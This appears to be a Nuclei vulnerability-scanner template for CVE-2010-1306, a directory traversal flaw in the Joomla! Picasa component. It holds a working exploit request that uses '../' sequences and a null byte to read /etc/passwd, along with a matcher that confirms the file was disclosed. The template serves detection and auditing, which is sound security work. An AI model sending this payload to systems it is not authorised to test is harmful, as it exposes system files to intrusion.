id: CVE-2010-1306

info:
  name: Joomla! Component Picasa 2.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Picasa (com_joomlapicasa2) component 2.0 and 2.0.5 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12058
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1306
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57508
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1306
    cwe-id: CWE-22
    epss-score: 0.04312
    epss-percentile: 0.89026
    cpe: cpe:2.3:a:roberto_aloi:com_joomlapicasa2:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: roberto_aloi
    product: com_joomlapicasa2
  tags: cve,cve2010,joomla,lfi,edb,roberto_aloi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022052ad616c3dfebfe93353cd4ca752121e34b31542f1e613300f47921ca3d641e302203e7a929e72f0bf97278e475b1c5a44f35f3f05fb36edd5efd46f31f891a5fee6:922c64590222798bb761d5b6d8e72950